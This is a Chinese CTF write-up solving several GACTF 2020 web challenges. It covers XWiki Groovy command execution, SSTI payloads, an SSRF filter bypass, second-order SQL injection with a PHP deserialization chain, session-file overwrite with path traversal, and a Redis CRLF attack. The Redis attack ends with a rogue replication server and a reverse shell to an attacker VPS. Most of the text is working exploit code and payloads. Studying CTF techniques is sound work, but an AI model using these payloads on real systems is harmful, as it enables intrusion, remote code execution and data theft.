2020 GACTF web

题目很有意思,给星盟师傅跪了

XWiki

XWiki CVE & groovy 交互

XWiki 11.10.1,搜索当前CVE,找到任意命令执行漏洞

https://jira.xwiki.org/browse/XWIKI-16960

python被底层限制,但是groovy可以打

r = Runtime.getRuntime()
proc = r.exec('/readflag');
BufferedReader stdInput1 = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String s1 = null;
while ((s1 = stdInput1.readLine()) != null) { print s1; }

一开读flag的时候就会卡死,后来一句句读了发现需要交互回答问题,没给问题个数,回答哪个数最大,0或者1,一开始我以为回答完就会给flag,结果手打了几十个 : )发现还没到尽头,而且回答的顺序是固定,那估计就是flag的bin值,写个脚本然后手动二分到464位结束,最后是Congratulations,然后把回答的01连起来就是flag

proc = Runtime.getRuntime().exec('/readflag');
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(proc.getOutputStream()));
String flag = ''

String s1 = null;
for(int i in 1..2) {
 s1 = br.readLine();
 println s1; 
}
for(int i in 1..464) {
 s1 = br.readLine();
 res = s1[25..-1].split(' : ');
 a = Integer.parseInt(res[0]);
 b = Integer.parseInt(res[1]);
 c = (a > b) ? 0 : 1;
 flag += c
 bw.write(c+"\n");
 bw.flush();
}
s1 = br.readLine();
println s1
println flag

simpleflask

SSTI

过滤单引号、空格、加号、flag、eval、import,限制了文件名长度

这里直接贴payload

name={{{}.__class__.__bases__[0].__subclasses__()[127].__init__.__globals__["__builtins__"]["open"]("/FLAG".swapcase()).read()}}

EZFLASK

SSTI & SSRF

提出给出源码,有用的只有eval

# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)

@app.route('/ctfhint')
def ctf():
    hint =xxxx # hints
    trick = xxxx # trick
    return trick

@app.route('/')
def index():
    # app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
    # post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
    # admin requests
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8080)

ban了很多单双引号和小中大括号,以及多个关键字,但是留下了__globals__func_globals,利用它爆出admin路径

POST /eval
eval=ctf.__globals__

{'my_eval': <function my_eval at 0x7f7469bf0dd0>, 'app': <Flask 'app_1'>, 'waf_eval': <function waf_eval at 0x7f7469bf0c50>, 'admin': <function admin at 0x7f7469b3a650>, 'index': <function index at 0x7f7469bf0d50>, 'waf_ip': <function waf_ip at 0x7f7469bf0b50>, '__builtins__': <module '__builtin__' (built-in)>, 'admin_route': '/h4rdt0f1nd_9792uagcaca00qjaf', '__file__': 'app_1.py', 'request': <Request 'http://124.70.206.91:10001/eval' [POST]>, '__package__': None, 'Flask': <class 'flask.app.Flask'>, 'ctf': <function ctf at 0x7f7469bf0cd0>, 'waf_path': <function waf_path at 0x7f7469bf0bd0>, 'time': <module 'time' from '/usr/local/lib/python2.7/lib-dynload/time.so'>, '__name__': '__main__', 'requests': <module 'requests' from '/usr/local/lib/python2.7/site-packages/requests/__init__.pyc'>, '__doc__': None}

admin是一个http请求,一看就是ssrf,fuzz了一下发现

  • waf_ip满足点分十进制(准确来讲是点分数字)ban: xxx.0.0.xxx、192.xxx.xxx.xx
  • port是4位任意字符
  • path是非数字字符

这里卡了很久,队友@小喇叭发现127开头的地址就可以绕过内网地址,这就有意思了 : )

扫到5000端口有东西,是常见的列出全局变量的SSTI

POST /h4rdt0f1nd_9792uagcaca00qjaf

ip=127.1.1.1&port=5000&path=

import flask
from xxxx import flag
app = flask.Flask(__name__)
app.config['FLAG'] = flag
@app.route('/')
def index():
    return open('app.txt').read()
@app.route('/<path:hack>')
def hack(hack):
    return flask.render_template_string(hack)
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

长度限制又过滤了config,这里可以直接把['co'+'nfig']写成['co''nfig']

POST /h4rdt0f1nd_9792uagcaca00qjaf

ip=127.1.1.1&port=5000&path=%7B%7Burl_for.__globals__['current_app']['co''nfig']%7D%7D

carefuleyes

二次注入 & 反序列化

题目给了源码,直接给了一个反序列化的接口

主要代码有

<?php

require_once "common.php";

if (isset($req['oldname']) && isset($req['newname'])) {
    $result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");

    if ($result->num_rows > 0) {
        $result = $result->fetch_assoc();
        $info = $db->query("select * from `file` where `filename`='{$result['filename']}'");
        $info = $info->fetch_assoc();
        echo "oldfilename : ".$info['filename']." will be changed.";
    } else {
        exit("old file doesn't exists!");
    }
}

...

这个存在二次注入,通过union注入可以得到username和password

1' and 0 union select username,password,1,1,1 from user#.jpg

这里是反序列化的类,拿到admin就能拿到flag

class XCTFGG{
    private $method;
    private $args;

    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    function login() {
        list($username, $password) = func_get_args();
        $username = strtolower(trim(mysql_escape_string($username)));
        $password = strtolower(trim(mysql_escape_string($password)));

        $sql = sprintf("SELECT * FROM user WHERE username='%s' AND password='%s'", $username, $password);

        global $db;
        $obj = $db->query($sql);

        $obj = $obj->fetch_assoc();

        global $FLAG;

        if ( $obj != false && $obj['privilege'] == 'admin'  ) {
            die($FLAG);
        } else {
            die("Admin only!");
        }
    }

    function __destruct() {
        @call_user_func_array(array($this, $this->method), $this->args);
    }

}

最终exp如下

POST /upload.php?data=O%3A6%3A%22XCTFGG%22%3A2%3A%7Bs%3A14%3A%22%00XCTFGG%00method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00XCTFGG%00args%22%3Ba%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A2%3A%22XM%22%3Bs%3A8%3A%22password%22%3Bs%3A9%3A%22qweqweqwe%22%3B%7D%7D HTTP/1.1
Host: 124.71.191.175
Content-Length: 343
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVQBCUL5NvVhHTcjT

------WebKitFormBoundaryVQBCUL5NvVhHTcjT
Content-Disposition: form-data; name="upfile"; filename="1' and 0 union select username,password,1,1,1 from user#.jpg"
Content-Type: text/html

xxx
------WebKitFormBoundaryVQBCUL5NvVhHTcjT--

babyshop

反混淆 & 任意文件读写 & sess 反序列化

.git源码泄露 但是被混淆了,代码不是很长,用xdebug慢慢调出来,这里贴一份@cjm00n人工解混淆的主要代码

<?php  

class 造齿轮
{
    protected $storage;
    protected $贡品;
    protected $sessionId;
    protected $safeExt;

    public function __construct()
    {
        $this->storage = "storage";
        if (!is_dir($this->storage)) mkdir($this->storage);
        $this->safeExt = array("php", "html", "flag", "htaccess");
    }

    public function open($货物, $食物)
    {
        foreach ($this->safeExt as $item) {
            if (stripos($_COOKIE[$食物], $item) !== false) {
                die('invaild ' . $食物);
                return false;
            }
        }
        $this->sessionId = session_id();
        return true;
    }

    public function write($货物, $食物)
    {
        $this->贡品 = $货物;
        return file_put_contents($this->storage . '/sess_' . $货物, $食物) === false ? false : true;
    }

    public function read($货物)
    {
        $this->贡品 = $货物;
        return (string)@file_get_contents($this->storage . "/sess_" . $货物);
    }

    public function writeNote($content)
    {
        if (strlen($this->sessionId) <= 0) return;
        echo getcwd();
        return file_put_contents($this->storage . '/note_' . $this->sessionId, $content) === false ? false : true;
    }

    public function getNote()
    {
        return (string)@file_get_contents($this->storage . '/note_' . $this->贡品);
    }

    public function 思考($货物)
    {
        $this->贡品 = $货物;
        if (file_exists($this->storage . '/sess_' . $货物)) {
        unlink($this->storage . '/sess_' . $货物);
        }
        return true;
    }

    public function destroy($货物)
    {
        foreach (glob($this->storage . '/*') as $元素) {
        if (filemtime($元素) + $货物 < time() && file_exists($元素)) {
            unlink($元素);
            }
        }
        return true;
    }

    public function close()
    {
        return true;
    }

    public function __destruct()
    {
        $this->writeNote($this->getNote());
    }
}
chdir("D:\\CTF\\gactf2020\\babyshopsrc");
$齿轮 = new 造齿轮();
session_set_save_handler(array($齿轮, 'open'), array($齿轮, 'close'), array($齿轮, 'read'), array($齿轮, 'write'), array($齿轮, 'destroy'), array($齿轮, 'close'));
session_start();
srand(mktime(0, 0, 0, 0, 0, 0));
$盛世 = array(1186989435 => array("alice", 0b1), 1847880546 => array("bob", 0b101), 444424444 => array("cat", 0b10100), 324870919 => array("dog", 0b1111), 94267937 => array("evil", 0b101), 1889069619 => array("flag", 0b10011100001111));

function 取经()
{
    global $盛世;
    $宝藏 = '[';
    foreach ($_SESSION['items'] as $元素) $宝藏 .= $盛世[$元素][0] . ', ';
    $宝藏 .= ']';
    return $宝藏;
}

function 念经()
{
    global $齿轮;
    return $齿轮->getNote();
}

function 造世()
{
    global $盛世;
    $宝藏 = '';
    foreach ($盛世 as $按键 => $元素) $宝藏 .= '<div class="item"><form method="POST"><div class="form-group">' . $元素[0] . '</div><div class="form-group"><input type="hidden" name="id" value="' . $按键 . '"><button type="submit" class="btn btn-success">buy ($' . $元素[1] . ')</button></div></form></div>';
    return $宝藏;
}

if (!isset($_SESSION['balance'])) $_SESSION['balance'] = 4466;
if (!isset($_SESSION['items'])) $_SESSION['items'] = [];
if (!isset($_SESSION['note'])) $_SESSION['note'] = '';
if (isset($_POST['id'])) {
    if ($_SESSION['balance'] >= $盛世[$_POST['id']][1]) {
        $_SESSION['balance'] = $_SESSION['balance'] - $盛世[$_POST['id']][1];
        array_push(${'_SESSION'}['items'], $_POST['id']);
        echo('<span style="color:green">buy succ!</span>');
    } else {
        echo('<span style="color:red">lack of balance!</span>');
    }
}
if (isset($_POST['note'])) {
    if (strlen($_POST['note']) <= 1024) {
        $齿轮->writeNote(str_replace(array('&', '<', '>'), array('&amp;', '&lt;', '&gt;'), $_POST['note']));
        echo('<span style="color:green">write succ!</span>');
    } else {
        echo('<span style="color:red">note too long!</span>');
    }
}  

?>

简单来说就是用户会先生成一个sess文件,买东西的时候会更新,笔记部分会生一个另外的note文件,作简单的标签过滤,因为这里的文件名都是拼接出来的,所以导致了我们任意读写文件和触发session发序列化,不过限制不能含有phphtmlflaghtaccess,这里主要是通过覆写sess文件来进行session反序列化

这里给出一个买flag的过程,也就是我们覆写sess文件的过程

买flag流程:

  1. 先注册个id:45fe489991ade97ddb812783a7d438f7
  2. 写note:balance|i:9999;items|a:1:{i:0;s:10:”1186989435”;}note|s:0:””;
  3. 修改id:/../note_45fe489991ade97ddb812783a7d438f7
  4. 就可以买flag了

然后可以看到在造齿轮类的__destruct可以任意读写文件

贴上我们的payload

<?php

ini_set('session.serialize_handler', 'php');
session_start();

class 造齿轮 {
    protected $朝拜圣地 = "storage";
    protected $贡品 = "1/../../../../../flag";
    protected $圣殿 = "1/../tyao";
    protected $禁地;
}

$o = new 造齿轮();
$_SESSION['balance'] = 9999;
$_SESSION['items'] = [];
array_push($_SESSION['items'], $o);

然后去把自己sess文件拿出来,重复上述买flag的部分,访问storage/tyao即可看到flag

balance%7Ci%3A9999%3Bitems%7Ca%3A1%3A%7Bi%3A0%3BO%3A9%3A%22%E9%80%A0%E9%BD%BF%E8%BD%AE%22%3A4%3A%7Bs%3A15%3A%22%00%2A%00%E6%9C%9D%E6%8B%9C%E5%9C%A3%E5%9C%B0%22%3Bs%3A7%3A%22storage%22%3Bs%3A9%3A%22%00%2A%00%E8%B4%A1%E5%93%81%22%3Bs%3A21%3A%221/../../../../../flag%22%3Bs%3A9%3A%22%00%2A%00%E5%9C%A3%E6%AE%BF%22%3Bs%3A9%3A%221/../tyao%22%3Bs%3A9%3A%22%00%2A%00%E7%A6%81%E5%9C%B0%22%3BN%3B%7D%7D

sssrfme

SSRF + Python CRLF

题目源码

<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);


function safe_url($url,$safe) {
    $parsed = parse_url($url);
    $validate_ip = true;
    if($parsed['port']  && !in_array($parsed['port'],array('80','443'))){

        echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;

        return false;
    }else{
        preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
        $long = ip2long($parsed['host']);
        if($long===false){
            $ip = null;
            if($safe){
                @putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
                $ip   = gethostbyname($parsed['host']);
                $long = ip2long($ip);
                $long===false && $ip = null;
                @putenv('RES_OPTIONS');
            }
        }else{
            $ip = $parsed['host'];
        }
        $ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
    }

    if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
        echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;

        return false;
    }else{
        return $url;
    }
}


function curl($url){
    $safe = false;
    if(safe_url($url,$safe)) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $co = curl_exec($ch);
        curl_close($ch);
        echo $co;
    }
}

highlight_file(__FILE__);
curl($_GET['url']);

用到的是php中parse_url和cURL的差异性,然后想办法通过CRLF打Redis

去bugs.php.net搜只搜到这篇与它相关

https://bugs.php.net/bug.php?id=77991

内网地址可以这么绕过

?url=http://foo@127.0.0.1:6379%20@www.baidu.com/

下一步应该就是用https协议的CRLF打Redis,但是打不出来

赛后更新

原来5000端口有东西,是个套娃提 : >

hello,world
hint: 这是个套娃. http://localhost:5000/?url=https://baidu.com

访问一下可以直接到baidu.com

?url=http://foo@127.0.0.1:5000%20@www.baidu.com/%3Furl=https://baidu.com

5000端口猜测是Flask服务,从消息头可以看出用的是Python-urllib/3.7,这个库爆出过CRLF,刚好可以用来打Redis

image-20200902140319742

这里有个trick就是,怎么判断Redis命令是否执行成功,这里用到了SLAVEOF命令,可以向外网发送PING数据

SLAVEOF vpsip vpsport

认证直接使用AUTH pwd接口,经过爆破可以知道弱口令123456

import urllib.parse
import requests as rq

target= "http://45.77.217.198:10801"

payload = ''' HTTP/1.1
auth 123456
slaveof %s 9999
foo: ''' % "xxx.xxx.xxx.xxx"

payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
payload = "?url=http://127.0.0.1:6379/" + payload
payload = urllib.parse.quote(payload)
payload = "?url=http://foo@127.0.0.1:5000%20@www.baidu.com/" + payload
print(payload)

res = rq.get(target + payload)
print(res.text)

然后最后getshell是用到一个主从复制,参考以下链接

https://github.com/vulhub/redis-rogue-getshell

编译exp

cd RedisModulesSDK
make

创建rogue.py如下,服务器运行监听

#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import time
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"\r\n"

class RoguoHandler(socketserver.BaseRequestHandler):
    def decode(self, data):
        if data.startswith(b'*'):
            return data.strip().split(DELIMITER)[2::2]
        if data.startswith(b'$'):
            return data.split(DELIMITER, 2)[1]
        return data.strip().split()
    def handle(self):
        while True:
            data = self.request.recv(1024)
            logging.info("receive data: %r", data)
            arr = self.decode(data)
            if arr[0].startswith(b'PING'):
                self.request.sendall(b'+PONG' + DELIMITER)
            elif arr[0].startswith(b'REPLCONF'):
                self.request.sendall(b'+OK' + DELIMITER)
            elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
                self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
                self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
                self.request.sendall(self.server.payload + DELIMITER)
                break
        self.finish()
    def finish(self):
        self.request.close()
class RoguoServer(socketserver.TCPServer):
    allow_reuse_address = True
    def __init__(self, server_address, payload):
        super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
        self.payload = payload

with open("exp.so", 'rb') as f:
    server = RoguoServer(('0.0.0.0', 1088), f.read())
    server.handle_request()

但是在Redis中,为了防止http协议对Redis端口的攻击,它如果检测到”POST”或者”Host:”,就会中断这次连接,并且在日志中留下这行,我们可以通过添加%00绕过

但是Redis是一边判断一边逐行执行,所以只要在读到”Host:”之前把需要的操作做完即可,所以不加也没关系(

所以最终exp为

import urllib.parse
import requests as rq

target = "http://45.77.217.198:10802"
vps = "167.179.94.19"

payload1 = f''' HTTP/1.1
AUTH 123456
slaveof {vps} 1089
config set dbfilename exp.so
foo: '''

payload2 = f''' HTTP/1.1
AUTH 123456
module load ./exp.so
slaveof no one
config set dbfilename dump.rdb
system.rev {vps} 4444
foo: '''


def exp(payload):
    payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
    payload = "?url=http://127.0.0.1:6379/" + payload
    payload = urllib.parse.quote(payload)
    payload = "?url=http://foo@127.0.0.1:5000%20@www.baidu.com/" + payload
    print(payload)
    res = rq.get(target + payload)
    print(res.text)

# execute step by step
exp(payload1)
exp(payload2)